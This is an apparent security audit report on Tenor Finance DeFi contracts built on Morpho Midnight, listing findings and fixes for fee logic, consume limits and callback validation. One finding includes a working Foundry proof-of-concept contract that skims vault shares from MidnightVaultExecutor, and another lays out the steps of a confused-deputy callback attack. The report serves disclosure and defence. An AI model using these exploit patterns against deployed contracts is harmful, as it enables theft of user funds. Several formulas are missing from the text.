Tenor Finance

Description

MarketMakingPolicy is supposed to work with two callbacks:

• LendMidnightToVaultCallback
• LendVaultToMidnightCallback

Analysing the Midnight → IntentSettler → MigrationIntentRatifier ($M \to IS \to MIR$) for a maker one can deduce that:

• when there is buy offer, offerIsBuy == true thus (implicitly) one can only deal with $V \to \stackrel{\texttt{onBuy}}{M}$ (the offer callback needs an onBuy endpoint) thus should pick the target parameters.
• when there is sell offer, offerIsBuy == false thus (implicitly) one can only deal with $\stackrel{\texttt{onSell}}{M} \to V$ (the offer callback needs an onSell endpoint) thus should pick the source parameters.

In both cases the picked parameters correspond to the offer.market (its maturity and its derived tenor market id).

Recommendation

The current order only matches take on behalf flows where the user is the taker. The current design needs to be derived from the shape of the callback used for the user so that it would work whether the user is the maker or taker. The important factor to asses is whether the user is the buyer or the seller (which might not directly correlate to the offer).

Description

MarketMakingPolicy is supposed to work with two callbacks:

• LendMidnightToVaultCallback
• LendVaultToMidnightCallback

Analysing the Midnight → IntentSettler → MigrationIntentRatifier ($M \to IS \to MIR$) for a maker one can deduce that:

• when there is buy offer, offerIsBuy == true thus (implicitly) one can only deal with $V \to \stackrel{\texttt{onBuy}}{M}$ due to how the policy rate invariants are applied to the modified offer tick prices one would expect to load the buy rate curves which have higher rates compared to the sell rate curves. This would imply that given the exact same parameters the price zones where one can select the buy and sell prices would be disjoint and potentially allowing maker making to extract values.
• when there is sell offer, offerIsBuy == false thus (implicitly) one can only deal with $\stackrel{\texttt{onSell}}{M} \to V$ and the scenario should be the reverse of the above.

Currently the curves are loaded in the reverse order.

Recommendation

Make sure to load:

• buy rates curves when the user is the buyer
• sell rates curves when `the user is the seller

The above might not directly correlate to the offer. It depends directly to the callback's shape used by the user.

Footnote

Desired invaraint for market making:

Description

Execution endpoints in TenorRouter enforces that all the actions for the execution to belong to only one of the following groups:

• In $A_{1,b}$ or $A_{1,s}$, the fill asset axis aligns with whether the initiator is the buyer or seller.
• In $A_{3,s}$ or $A_{3,b}$, the fill asset axis aligns with whether all the the intent users are sellers or buyers. For 3rd party action bundles, all intent users should be on the same side of the take(...) settlement.

The fee adjustments currently only derived and adjusted to raw totals (in the fill axis dimension) based on the offer direction which assumes that the initiator is always the taker. But this is not correct in general. For example for 1st party action bundles the initiator can either be the maker or the taker. When take-on-behalf actions are settled, the initiator is the maker and so the fee adjustment should align with the offer direction (not flipped).

The main goal of calculating totals is to perform slippage protection for the initiator.

Recommendation

The conditional checks to derive and apply fee adjustment after dispatch should use the fill asset axis to branch in the correct direction.

Footnote

In general the slippage checks for 3rd party action bundles with different intent users (takers) might not make that much sense, although the initiator can enforce it.

Description

The invaraint check performed in _ratifyRate:

if (!PriceLib.satisfiesRateLimit(        userIsBuy, effUnitsPerWad, effPrice, 0, params.limitRatePerSecond, policyRate, duration    )) revert InvalidOfferRate();

For the case of a maker in the route Midnight → IntentSettler → MigrationIntentRatifier becomes:

The midnight prices calculated in RouterLib.netBuyerPrice and RouterLib.netSellerPrice are:

whereas in Midnight the seller and buyer prices for a maker are just $p_i$. The final amounts paid or received including the Tenor callback fee rates are:

and as one can see the prices applied in the actual paths don't involve the trading fee in this specific maker route.

(regarding the red term for the lower bound for sell offers refer to Finding 17)

Recommendation

Make sure the trading fee is not applied in the route mentioned above. It should be only applied for taker settlement.

Description

beforeDispatch does not consider:

• the scenario where the maker (being equal to the initiator) for 1st party take-on-behalf actions could have also used the migration intent ratifier.
• also for the taker being the initiator for 1st party midnight take. The taker might not necessarily use the migration intent ratifier. But here affectsFill assumes that the taker does use the migration intent ratifier.
• for 3rd party actions fee adjustment hooks might not make that much sense (there are some special cases that it might).

Recommendation

For better approach regarding fee adjustment refer to Finding #29.

Description

when the initiator the buyer, the buyer asset is:

and when the seller, the seller asset is

where $p$ is the adjusted price according to the formulas in the footnote. Given a budget $B$ and the adjusted price $p$ one should solve:

• initiator is the buyer: $\argmax_{a} \left\lfloor \frac{a}{10^{18}} p \right\rfloor \leq B$
• initiator is the seller: $\argmax_{a} \left\lceil \frac{a}{10^{18}} p \right\rceil \leq B$

There are a few issues:

1. the solution to both of the above problems is given by $\left\lfloor \frac{B}{10^{18}} p\right\rfloor$
2. Trading fee $\color{blue}f_{t}^{i}$ is always taken into consideration when calculating $p$.

Recommendation

1. Depending on the fill axis use either mulDivDownInverse or mulDivUpInverse from ClampLib.
2. Only include trading fees in netBuyerPrice and netSellerPrice when the fill axis dimension opposes the offer type. (related to Finding #19)

Footnote

Description

TenorRouterAdapterBase.executeAndConsume() is meant to let an user run a route and then charge the filled amount against a self-imposed consume group limit. This is useful when the same user wants a single aggregate limit across:

• standing offers where the user is the maker, and
• an immediate router path where the user/adapter initiator is the taker.

The maker and taker sides are not symmetric. When someone takes the user's standing offer, Midnight already enforces that offer's own maxUnits or maxAssets and increments consumed[offer.maker][offer.group]. That maker-side fill is correctly bounded by the standing offer's limits.

The gap is on the executeAndConsume() route, where the user is the initiator/taker. After the route has executed, the adapter only adds the taker-side route fill to the current consumed value:

consumed[initiator][consumeGroup] += rawTotals[fillIndex]

It never snapshots the pre-route value of consumed[initiator][consumeGroup], and it never enforces a caller-supplied final cap such as maxConsumedAfter, and the route does not reserve or enforce the remaining capacity in consumeGroup before execution.

Therefore, if the user's maker-side standing offer is filled first, the later executeAndConsume(..., consumeGroup) call still adds the full taker-side route fill. The final consumed[user][G] can become priorMakerFill + routeTakerFill.

It is also important to note that there is no notion of a maximum commitment on the taker side, so the system never has a cap to enforce here.

Sequence of events

Assume the victim wants an aggregate cap of 100e18 units across both a standing sell offer and a spot route, all tagged with the same group G.

1. The victim has a resting sell offer in group G with maxUnits = 100e18. In this leg the victim is the maker. The victim also submits an executeAndConsume(..., G) transaction for a spot route where the victim/initiator will be the taker.
2. Before the victim's executeAndConsume() transaction is processed, anyone calls Midnight.take on the victim's standing offer for 70e18. This is permissionless and expected. Midnight enforces the standing offer's maxUnits and records consumed[victim][G] = 70e18.
3. The victim's executeAndConsume(..., G) transaction then executes the taker-side spot route for another 70e18. The victim's intent is that only 30e18 of the group limit should remain available, but executeAndConsume() exposes no parameter (e.g. a maxConsumedAfter) for the victim to enforce that on the taker leg. It unconditionally sets consumed[victim][G] = 70e18 + 70e18 = 140e18.
4. The total filled volume across group G (maker leg + taker leg) reaches 140e18, even though the victim wanted the same 100e18 limit to apply to the group as a whole. Because the taker side has no cap to enforce, the route does not revert, and the victim has no way to prevent the combined total from exceeding the limit they expressed on the maker side.

Impact

The victim can execute more aggregate volume across the shared consume group than they intended.

The root cause of this issue is that there is no notion of maxAssets and maxUnits for when initiator is the taker. The maker and taker roles are not fully symmetric.

Recommendation

Add a maxConsumedAfter parameter. After the route fills, compute the would-be new value and revert if it exceeds the cap the user committed to.

Description

For 1st party action bundles, the initiator can be the:

1. maker: which in the take(...) its updates consumed[initiator][offer_i.group] ($a_{u_{in}, gr_{o_i}}$). Also note max caps are getting enforced here (even though not ratified by for example MigrationIntentRatifier, other ratifiers might ratify these caps. In this context does not fully matter since it must have been intended by the initiator, unless some inner callback into Midnight has forced it in without full initiator authorisation).
2. taker: which does NOT update $a_{u_{in}, gr_{o_i}}$

The value of rawTotals[fillIndex] would be the aggregate of fills from 1. and 2..

We have:

so:

Assuming all inner calls use the same groups we know that the consumed amount for the initiator in this group gets updated for $E_M^{\star}$:

then finally based on the implementation adding rawTotals[fillIndex] ($a_{r,i}$) will give us:

The final value:

Recommendation

Option 1

• make sure $E_M = E_M^{\star}, \space E_T = E_T^{\star}$. This might be hard to guarantee since the inner callbacks might get complex
• instead of the current totals and rawTotals, aggregate values in 10 different baskets
  1. $a_{r,M,u} = \sum_{a \dashv_u E_M} a = a_{t,M,u}$
  2. $a_{r,T,u} = \sum_{a \dashv_u E_T} a = a_{t,T,u}$
  3. $a_{r,M,b} = \sum_{a \dashv_b E_M} a$
  4. $a_{r,T,b} = \sum_{a \dashv_b E_T} a$
  5. $a_{r,M,s} = \sum_{a \dashv_s E_M} a$
  6. $a_{r,T,s} = \sum_{a \dashv_s E_T} a$
  7. $a_{t,M,b} = \sum_{a,f \dashv_b E_M} (a + f)$
  8. $a_{t,T,b} = \sum_{a,f \dashv_b E_T} (a + f)$
  9. $a_{t,M,s} = \sum_{a,f \dashv_s E_M} (a + f)$
  10. $a_{t,T,s} = \sum_{a,f \dashv_s E_T} (a + f)$
  The above aggregations only needs an extra check to test whether the initiator is the maker or taker.
• make sure all the groups used in $E_M = E_M^{\star}$ are the same or bucket the above aggregations for only the target group consumeGroup.

Then add $a_{r,T,i}$ to the (potentially updated in the inner calls) $a_{u_{in}, gr_{o_i}}$. This would avoid double-counting for when the initiator is the maker.

Option 2

• make sure $\sum_{a \dashv_i E_M} = \sum_{a \dashv_i E_M^{\star}} = 0$. This can be checked by making sure the value of $a_{u_{in}, gr_{o_i}}$ does not change when queried before and after the _executeResolvingSentinels(...) call.
  Note

  The above requirement does not imply that either one of $E_M$ or $E_M^{\star}$ to be empty.

  1. The offers in those events might use different groups other than consumeGroup OR
  2. Even if consumeGroup is the same the fill amount might be $0$ due to some roundings.
• make sure $E_T = E_{T}^{\star}$. This might be hard to guarantee due to complex nested callbacks. The lack of this check only implies that the the group consumption would only for the take(...) events in $E_T$.
• introduce a symmetric max cap check for group consumption (just like the offer.maker checks in `Midnight). Refer to Finding 50 for this.

Cantina

The fix provided in PR #550:

• ❌ does not guarantee: $E_M = E_M^{\star}, \space E_T = E_T^{\star}$. This would be something to take note of.
• ✅ Makes sure only 1st party action bundles can be used with executeAndConsume.
• ✅ Uses the following aggregation buckets:
  1. $a_{r,T,u} = \sum_{a \dashv_u E_T} a = a_{t,T,u}$
  2. $a_{r,T,b} = \sum_{a \dashv_b E_T} a$
  3. $a_{r,T,s} = \sum_{a \dashv_s E_T} a$
  4. $a_{t,M,b} + a_{t,T,b}$
  5. $a_{t,M,s} + a_{t,T,s}$
  6. $a_{t,M,u} + a_{t,T,u}$

Footnote

The group consumption symmetrisation for mixing maker and taker roles for an initiator does not take into account the fee adjustments. Perhaps this can be documented.

Description/Recommendation

1. StaticRatePolicy.sol#L26: Might be useful to emit an event with all configured parameters in StaticRatePolicy.constructor(...)
2. MarketMakingPolicy.sol#L29: Might be useful to emit an event with morphoMidnight as one of the parameters.
3. OracleWithValidation.sol#L48-L59: Might be useful to emit an event with the constructor parameters.
4. ClampLib.sol#L105: the first 2 parameters of maxUnitsForBudget(...) are not used. Moreover, this utility function is only used in test files.
5. BorrowBlueToMidnightCallback.sol#L31-L34, BorrowMidnightRenewalCallback.sol#L31-L34, BorrowMidnightToBlueCallback.sol#L34-L37, LendMidnightRenewalCallback.sol#L26-L29, LendMidnightToVaultCallback.sol#L26-L28, LendVaultToMidnightCallback.sol#L22-L24, MidnightSupplyCollateralCallback.sol#L27-L29, MidnightSupplyVaultSharesCallback.sol#L32-L34, MidnightWithdrawVaultSharesCallback.sol#L24-L26, IntentSettler.sol#L29, BaseMigrationRatifier.sol#L52-L70, MidnightVaultExecutor.sol#L35, TenorRouter.sol#L126-L128, AuthorizationAdapter.sol#L31-L32, MidnightAdapterBase.sol#L26-L29, MigrationIntentRatifierAdapterBase.sol#L17: emit constructor parameters in an event.
6. BorrowMidnightToBlueCallback.sol#L83-L84: This crossing check can be hoisted up to the top of the onBuy callback.
7. ILendVaultToMidnightCallback.sol#L22: morphoBlueMarketId is not used in LendVaultToMidnightCallback and perhaps can be removed.
8. IntentSettler.sol#L57-L58, IntentSettler.sol#L75-L76: Best to check a magic return value like keccak256("tenor.vN.onIntentRatify.success") where N can be the version number.
9. PriceLib.sol#L16: price could end up being 0 for high values of ratePerSecond * durationSeconds. So the range should be corrected to [0, WAD].
10. PriceLib.sol#L54-L55: satisfiesRateLimit is only used in _ratifyRate where effUnitsPerWad is fed in for units, effPrice for assets and 0 for fee. The interface for satisfiesRateLimit should be updated to account for these changes and remove ambiguities. NatSpec would need to be corrected accordingly as well.
11. MidnightVaultExecutor.sol#L52, MidnightVaultExecutor.sol#L90: depositAndAddCollateral only requires that the market's collateral in that specific index matches the vault. One can remove the extra requirement for this specific endpoint that the market loan token should match the vault's underlying asset to allow for wider usage. The same argument applies to withdrawCollateralAndRedeem.
12. TenorRouter.sol#L126: Check intentSettler is connected to the same midnight contract.
13. TenorRouter.sol#L417: Check action.feeAdjuster is connected to the same midnight contract as the TenorRouter. One can also pass midnight to action.feeAdjuster.
14. TenorRouter.sol#L273: In BatchExecuted it might be useful to emit other parameters such as touched/filled/partially filled actions (since some actions might get skipped).
15. AuthorizationAdapter.sol#L32: Make sure the INTENT_SETTLER is connected to the same MORPHO_MIDNIGHT contract.
16. MidnightAdapterBase.sol#L92, MidnightAdapterBase.sol#L105: MidnightAdapterBase's midnightWithdrawCollateral withdraws into the adapter. The initiator needs to be aware to this to make sure to uses these tokens and don't leave them in the adapter as they can be re-used/skimmed by other users. Same argument applies to midnightWithdraw. It could also marginally be documented for midnightFlashLoan.
17. TenorAdapter.sol#L17: Make sure ratifier is connected to the same morphoMidnight contract.
18. BaseMigrationRatifier.sol#L64-L69: Make sure the callbacks are connected to the same morphoMidnight contract.
19. IMidnightSupplyCollateralCallback.sol#L13-L15: IMidnightSupplyCollateralCallback needs an accompanying ratifier to enforce the rule for offerSellerAssets.
20. MidnightAdapterBase.sol#L202-L206: The comment regarding re-entering into the Bundler3 is a bit vague as there could be scenarios were midnight take calls could be nested (not parallel).
21. MigrationIntentRatifier.sol#L98: Add comment to clarify why the check is needed:

// `intent.data` selects the user's stored params, while callback data selects the// migration that will actually execute. Keep them bound so a caller cannot ratify one// tuple's params and pass callback data for another tuple into Midnight.

22. IntentSettler.sol#L58: onBehalf is passed as the caller to MigrationIntentRatifier which gets passed to the rate policy. But the current rate policies don't use this parameter.
23. MarketMakingPolicy.sol#L67: Rename taker to user or perhaps trader (similar rewording can apply to other spots in the codebase).
24. BaseMigrationRatifier.sol#L334: The comment regarding $e^{-f_{cont}^{\mathcal{O_i}}\Delta t_m}$ does not make sense. The implemented logic assumes all the pending fees can be taken from the credit.
25. MidnightAdapterBase.sol#L53: Unlike other endpoints midnightRepay returns when units == 0 instead of reverting.

Cantina

Based on commit 6f6f7d7728584cc2be6f75caf38a2ead3d72c209 we have:

Description

BorrowBlueToMidnightCallback.onSell assumes that Midnight sent sellerAssets to the callback before the hook runs, but it ignores the receiver argument that proves where those assets were actually sent. In Midnight, the seller-side receiver is chosen from receiverIfTakerIsSeller or offer.receiverIfMakerIsSeller, then sellerAssets are transferred to that receiver before onSell is called.

The callback then pays the configured fee and repays Morpho Blue using the callback contract's current loan-token balance. If a keeper supplies a receiver other than the callback, the trade proceeds are sent to that receiver, while the callback can still repay from any loan tokens previously donated or stranded on the callback. This breaks the non-custodial invariant for stranded balances: anyone who can execute an otherwise valid migration can redirect the fresh sellerAssets and consume the callback's existing balance instead.

Recommendation

Validate the receiver argument in BorrowBlueToMidnightCallback.onSell, reverting unless receiver == address(this) before paying fees or approving Morpho Blue. Apply the same receiver invariant to any other sell-side callback whose accounting requires sellerAssets to have arrived at the callback address before the hook executes.

Description/Recommendation

To avoid mistakes, it would be best to add a check in MidnightSupplyCollateralCallback.onSell to make sure the receiver would not be this contract. Or at least document this to avoid locked funds.

Description

Based on IERC4626 specs, the amount returned by previewWithdraw(...) sharesToWithdraw might be bigger than the actual amount of shares burnt when withdraw(...) is called.

Recommendation

Any unused surplus vault shares should be re-supplied back as collateral in midnight:

diff --git a/src/callbacks/MidnightWithdrawVaultSharesCallback.sol b/src/callbacks/MidnightWithdrawVaultSharesCallback.solindex 94f86bd6..5ba4d220 100644--- a/src/callbacks/MidnightWithdrawVaultSharesCallback.sol+++ b/src/callbacks/MidnightWithdrawVaultSharesCallback.sol@@ -3,6 +3,7 @@ pragma solidity 0.8.34;  import {IMidnight, Market} from "@midnight/interfaces/IMidnight.sol";+import {UtilsLib} from "@midnight/libraries/UtilsLib.sol"; import {IMidnightWithdrawVaultSharesCallback} from "./interfaces/IMidnightWithdrawVaultSharesCallback.sol"; import {IERC4626} from "@openzeppelin/contracts/interfaces/IERC4626.sol"; import {CALLBACK_SUCCESS} from "@midnight/libraries/ConstantsLib.sol";@@ -45,7 +46,13 @@ contract MidnightWithdrawVaultSharesCallback is IMidnightWithdrawVaultSharesCall          MORPHO_MIDNIGHT.withdrawCollateral(market, callbackData.collateralIndex, sharesToWithdraw, buyer, address(this)); -        IERC4626(callbackData.vault).withdraw(buyerAssets, address(this), address(this));+        uint256 sharesUsed = IERC4626(callbackData.vault).withdraw(buyerAssets, address(this), address(this));++        uint256 surplusShares = UtilsLib.zeroFloorSub(sharesToWithdraw, sharesUsed);+        if (surplusShares > 0) {+            // Return surplus shares to borrower as collateral on Midnight+            MORPHO_MIDNIGHT.supplyCollateral(market, callbackData.collateralIndex, surplusShares, buyer);+        }          IERC20(market.loanToken).forceApprove(msg.sender, buyerAssets);

Description

Morpho Midnight has a new interface.

Recommendation

Make sure to update the input parameters for:

• take(...)
• ILiquidateCallback
• IFlashLoanCallback
• trading fee is renamed to settlement fee. Thus exposed endpoints have different names now.

Cantina

This finding is marked as acknowledged since Midnight changes are live and new changes are still getting applied. This finding should be taken as a caution to make sure to apply necessary changes to sync to the latest version of Midnight.

Description

Checks are missing in BaseMigrationRatifier.constuctor to make sure the assigned immutable callbacks are connected to the same:

• Morpho midnight market
• Morpho blue market

Recommendation

Make sure the above checks are performed. One would need to also add these to the relevant callback interfaces. One would also need to provide morpho blue contract address to BaseMigrationRatifier.constuctor to perform these additional checks (migtht be useful to also store as a public immutable).

Description

MidnightVaultExecutor.onRepay trusts the vault and collateralIndex values decoded from arbitrary Midnight repay callback data. Unlike the public repayAndWithdrawCollateral entrypoint and the liquidation callback, onRepay does not validate that the decoded vault is the collateral token at market.collateralParams[collateralIndex] or that the vault asset matches market.loanToken.

An attacker can call Midnight.repay directly with units == 0, set the executor as the callback, and provide attacker-controlled encoded callback data. Midnight only requires the caller to be authorized for the supplied onBehalf; the attacker can satisfy this for their own account. During the callback, the executor withdraws the attacker's unrelated fake collateral from the fake market, but then redeems shares from the attacker-supplied vault address using the executor as owner. If the executor holds resting shares of that vault, those shares are redeemed to the attacker-controlled caller whenever callbackData is non-empty.

This breaks the executor's pass-through balance invariant. Any vault shares accidentally transferred to, donated to, or otherwise left on the executor can be skimmed permissionlessly without repaying debt and without using a market whose collateral is connected to the vault being redeemed.

PoC

// SPDX-License-Identifier: BUSL-1.1// Copyright (c) 2026 Les entreprises shippooor inc.pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {MidnightVaultExecutor} from "../../src/periphery/MidnightVaultExecutor.sol";import {Midnight} from "@midnight/Midnight.sol";import {IRepayCallback} from "@midnight/interfaces/ICallbacks.sol";import {IMidnight, Market, CollateralParams} from "@midnight/interfaces/IMidnight.sol";import {CALLBACK_SUCCESS} from "@midnight/libraries/ConstantsLib.sol";import {IdLib} from "@midnight/libraries/IdLib.sol";
import {MockERC20} from "../helpers/mocks/MockERC20.sol";import {MockERC4626} from "../helpers/mocks/MockERC4626.sol";import {computeMaxLif} from "../helpers/MaxLifLib.sol";
contract DirectRepaySkimmer is IRepayCallback {    IMidnight public immutable midnight;    MidnightVaultExecutor public immutable executor;    MockERC20 public immutable fakeCollateral;    address public immutable vault;
    constructor(IMidnight _midnight, MidnightVaultExecutor _executor, MockERC20 _fakeCollateral, address _vault) {        midnight = _midnight;        executor = _executor;        fakeCollateral = _fakeCollateral;        vault = _vault;    }
    function skim(Market memory fakeMarket, uint256 sharesToSkim) external {        fakeCollateral.approve(address(midnight), sharesToSkim);        midnight.setIsAuthorized(address(executor), true, address(this));        midnight.supplyCollateral(fakeMarket, 0, sharesToSkim, address(this));
        bytes memory callbackData = abi.encode(            vault, uint256(0), sharesToSkim, uint256(0), address(this), bytes("non-empty: redeem to this contract")        );
        midnight.repay(fakeMarket, 0, address(this), address(executor), callbackData);    }
    function onRepay(bytes32, Market memory, uint256, address, bytes memory) external pure returns (bytes32) {        return CALLBACK_SUCCESS;    }}
contract MidnightVaultExecutorDirectRepaySkimTest is Test {    uint256 internal constant LLTV = 0.77e18;
    Midnight internal midnight;    MidnightVaultExecutor internal executor;    MockERC20 internal underlying;    MockERC20 internal fakeCollateral;    MockERC4626 internal vault;    DirectRepaySkimmer internal attacker;
    function setUp() public {        midnight = new Midnight();        midnight.setFeeClaimer(address(this));
        executor = new MidnightVaultExecutor(address(midnight));        underlying = new MockERC20("Underlying", "UND", 18);        fakeCollateral = new MockERC20("Fake collateral", "FAKE", 18);        vault = new MockERC4626(address(underlying), "Vault Shares", "vUND");
        attacker = new DirectRepaySkimmer(IMidnight(address(midnight)), executor, fakeCollateral, address(vault));    }
    function test_DirectMidnightRepaySkimsRestingExecutorVaultShares() public {        uint256 restingShares = 100e18;        uint256 sharesToSkim = 40e18;
        underlying.mint(address(this), restingShares);        underlying.approve(address(vault), restingShares);        vault.deposit(restingShares, address(executor));        assertEq(vault.balanceOf(address(executor)), restingShares, "executor starts with resting vault shares");
        fakeCollateral.mint(address(attacker), sharesToSkim);        Market memory fakeMarket = _fakeMarket();        bytes32 fakeMarketId = IdLib.toId(fakeMarket, block.chainid, address(midnight));
        attacker.skim(fakeMarket, sharesToSkim);
        assertEq(vault.balanceOf(address(executor)), restingShares - sharesToSkim, "executor vault shares skimmed");        assertEq(underlying.balanceOf(address(attacker)), sharesToSkim, "attacker receives redeemed assets");        assertEq(            fakeCollateral.balanceOf(address(executor)), sharesToSkim, "executor receives unrelated dummy collateral"        );        assertEq(midnight.collateral(fakeMarketId, address(attacker), 0), 0, "fake collateral position withdrawn");    }
    function _fakeMarket() internal view returns (Market memory) {        CollateralParams[] memory collaterals = new CollateralParams[](1);        collaterals[0] = CollateralParams({            token: address(fakeCollateral), lltv: LLTV, maxLif: computeMaxLif(LLTV), oracle: address(0)        });
        return Market({            loanToken: address(underlying),            collateralParams: collaterals,            maturity: block.timestamp + 30 days,            rcfThreshold: 0,            enterGate: address(0),            liquidatorGate: address(0)        });    }}

and passes with:

forge test --match-path test/audit/MidnightVaultExecutorDirectRepaySkim.t.sol -vvv

The test:

1. Seeds MidnightVaultExecutor with resting ERC4626 vault shares.
2. Creates a fake Midnight market whose only collateral is an unrelated dummy ERC20.
3. Has the attacker authorize the executor, supply the dummy collateral, and call Midnight.repay(fakeMarket, 0, attacker, address(executor), callbackData).
4. Encodes callbackData with the real vault address, sharesToWithdraw, the attacker as caller, and non-empty forwarded callback data.
5. Observes that the executor's vault-share balance decreases, the attacker receives redeemed underlying, and the executor only receives the unrelated dummy collateral from Midnight.

The repayment amount is zero; the exploit is driven entirely by the unvalidated encoded callback data.

Recommendation

Validate the decoded repay callback data before withdrawing collateral or redeeming shares. In onRepay, call CallbackLib.validateVaultCollateral(market, vault, market.loanToken, collateralIndex) after decoding and before MORPHO_MIDNIGHT.withdrawCollateral. This makes the repay callback enforce the same vault-market relationship as repayAndWithdrawCollateral and onLiquidate.

Footnote

• MidnightVaultExecutor.sol#L123-L126: Moreover, resting token balances can also be skimmed from the MidnightVaultExecutor by calling repayAndWithdrawCollateral with 0 as the provided repayUnits (and 0 for sharesToWithdraw or any number for a fake market and vault and just let the end logic transfer the token balance:

  uint256 dust = IERC20(market.loanToken).balanceOf(address(this));if (dust > 0) {    IERC20(market.loanToken).safeTransfer(onBehalf, dust);}

Description

MidnightVaultExecutor.repayAndWithdrawCollateral encodes msg.sender as caller before calling Midnight.repay, so the executor's forwarded IRepayCallback(caller).onRepay(...) appears intended to return control to the contract that initiated the high-level executor flow. However, MidnightVaultExecutor.onRepay is also reachable from any direct Midnight.repay(market, units, onBehalf, address(executor), data) call. Midnight only checks that the direct caller is onBehalf or is authorized for onBehalf; it does not prove that the callback data was produced by repayAndWithdrawCollateral.

As a result, any authorized direct Midnight repayer can choose the encoded caller, callbackData, market, units, and onBehalf values that the executor forwards to the inner callback. When callbackData is non-empty, the executor redeems the withdrawn vault shares to the encoded caller and then calls IRepayCallback(caller).onRepay(id, market, units, onBehalf, callbackData).

This creates a confused-deputy boundary for callback implementers. A callback target that allowlists MidnightVaultExecutor or assumes that an executor-originated onRepay call corresponds to its own prior repayAndWithdrawCollateral request can be invoked with attacker-chosen parameters instead. Depending on the callback's implementation, this can make it spend its own balances or allowances, execute swaps, consume internal accounting state, or otherwise act on repay parameters that were never selected by that callback target.

The issue is distinct from the unvalidated-vault share skim: even if the decoded vault and collateral index are validated, the encoded caller is still unauthenticated unless the executor can prove that the callback was entered through its own public entrypoint.

PoC

1. A victim contract implements IRepayCallback and trusts calls from MidnightVaultExecutor as callbacks for repayment operations it initiated.
2. An attacker is authorized for some onBehalf account on Midnight, for example their own account or a delegated account.
3. The attacker calls Midnight.repay(market, units, onBehalf, address(executor), data) directly, with data ABI-encoded as (vault, collateralIndex, sharesToWithdraw, minSharePriceE27, victimCallback, attackerChosenCallbackData).
4. Midnight calls MidnightVaultExecutor.onRepay because the executor was supplied as the callback.
5. The executor decodes victimCallback as caller, redeems the withdrawn shares to that address, and calls victimCallback.onRepay(id, market, units, onBehalf, attackerChosenCallbackData).
6. The victim callback observes msg.sender == address(executor) and may execute privileged repay logic even though it did not initiate the repayment and did not choose the forwarded parameters.

Recommendation

Authenticate the callback data used by onRepay instead of treating the decoded caller as self-authenticating. For example, store a transient commitment keyed by the Midnight market id, onBehalf, units, and a hash of the executor-generated callback data before calling Midnight.repay from repayAndWithdrawCollateral, then consume that commitment in onRepay before invoking the forwarded callback.

If direct Midnight repay entry into the executor is meant to remain supported, require the forwarded callback target to opt in explicitly, such as by verifying an EIP-712 signature from caller over the exact forwarded parameters. In all cases, document that downstream IRepayCallback implementations must not rely on msg.sender == address(MidnightVaultExecutor) alone as proof that they initiated the repay flow.

Description/Recommendation

This is similar to Finding #10. But the fix can be more simple since midnight provides the caller to the onLiquidate callback which one can check but currently is commented out:

diff --git a/src/periphery/MidnightVaultExecutor.sol b/src/periphery/MidnightVaultExecutor.solindex 272fc440..a0212b3f 100644--- a/src/periphery/MidnightVaultExecutor.sol+++ b/src/periphery/MidnightVaultExecutor.sol@@ -209,12 +209,13 @@ contract MidnightVaultExecutor is IMidnightVaultExecutor, IRepayCallback, ILiqui         uint256 seizedShares,         uint256 repaidUnits,         uint256 badDebt,-        address, /* liquidatorFromMidnight */+        address liquidatorFromMidnight,         address borrower,         address receiver,         bytes memory data     ) external override returns (bytes32) {         if (msg.sender != address(MORPHO_MIDNIGHT)) revert CallbackLib.OnlyMidnight();+        if (liquidatorFromMidnight != address(this)) revert Unauthorized();         (address vault, address liquidator, uint256 minSharePriceE27, bytes memory callbackData) =             abi.decode(data, (address, address, uint256, bytes));         CallbackLib.validateVaultCollateral(market, vault, market.loanToken, collateralIndex);

Description

MidnightVaultExecutor is the callback target passed to Morpho Midnight for repay and liquidate, but it then forwards a second, inner callback to the original caller using the same native Midnight callback interfaces and the same CALLBACK_SUCCESS return value. This inner callback is not a direct Midnight callback anymore: the executor has already withdrawn vault-share collateral, redeemed those shares into vault underlying, and changed which asset the downstream callback observes.

In the repay path, the executor redeems sharesToWithdraw vault shares and, when callback data is non-empty, sends the redeemed underlying to the original caller before calling IRepayCallback(caller).onRepay(id, market, units, onBehalf, callbackData). The forwarded callback receives only the native Midnight repay parameters. It does not receive the vault address, shares withdrawn, or redeemed amount from the executor-specific operation, even though those values define the assets that were made available to fund the repayment.

In the liquidation path, the mismatch is more explicit. Midnight passes the executor the amount of vault-share collateral seized. The executor redeems those shares, transfers the redeemed underlying to the original liquidator, and then calls ILiquidateCallback.onLiquidate with redeemed in the argument position that the native Midnight interface names seizedAssets. As a result, the forwarded callback's seizedAssets value is not the seized Midnight collateral amount; it is the redeemed underlying amount. The actual seized vault-share amount is not forwarded. The forwarded liquidator is also changed to the original caller, while the native Midnight liquidator was the executor and the native Midnight receiver remains the executor.

This creates a hybrid callback surface where some arguments follow Morpho Midnight semantics and others follow executor-specific semantics. Integrators that implement generic Midnight callbacks, or that rely on the native callback names and magic return value to infer caller and asset semantics, can misinterpret the callback and make incorrect accounting or funding decisions.

Recommendation

Define Tenor-specific inner callback interfaces for the executor instead of reusing IRepayCallback and ILiquidateCallback for transformed callbacks. The interfaces should use Tenor-specific endpoint names and success constants, for example keccak256("tenor.v1.MidnightVaultExecutor.onRepayAndWithdraw.success") and keccak256("tenor.v1.MidnightVaultExecutor.onLiquidateAndRedeem.success"), so downstream contracts cannot accidentally treat executor callbacks as native Midnight callbacks.

The repay callback should document and expose the executor-specific values needed by downstream integrations, including the vault, collateral index, shares withdrawn, redeemed underlying amount, repay units, and onBehalf account.

The liquidation callback should distinguish the native collateral amount from the redeemed underlying amount. In particular, pass both seizedShares and redeemedAssets, and document that msg.sender is the executor while the forwarded liquidator field identifies the original liquidator/caller. Avoid forwarding the native Midnight receiver without renaming it, because in this flow it is the vault-share receiver, not necessarily the recipient of redeemed underlying assets.

Description

On partial borrower renewals, CollateralTransferLib.transferCollaterals migrates matching collateral in proportion with mulDivDown. When the source collateral balance is small or the token is low-decimal, a fill can repay nonzero source debt (via BorrowMidnightRenewalCallback) while the pro-rata transfer rounds to zero, so no collateral moves to the target for that fill.

Root cause of issue is that collateralToTransfer = sourceCollateralBalance.mulDivDown(repaidUnits, sourceDebtBefore) can be 0 while repaidUnits > 0 when sourceCollateralBalance * repaidUnits < sourceDebtBefore.

Sequence of events

1. Borrower holds source debt with a small or low-decimal matching collateral balance on the source market.
2. Keeper (or taker) executes one or more small partial renewal fills on the target market.
3. BorrowMidnightRenewalCallback repays nonzero source debt and increases target debt for each fill.
4. transferCollaterals computes pro-rata migration; collateralToTransfer == 0 for that fill.
5. If the target position still passes Midnight health (e.g. existing target collateral), the fill succeeds.
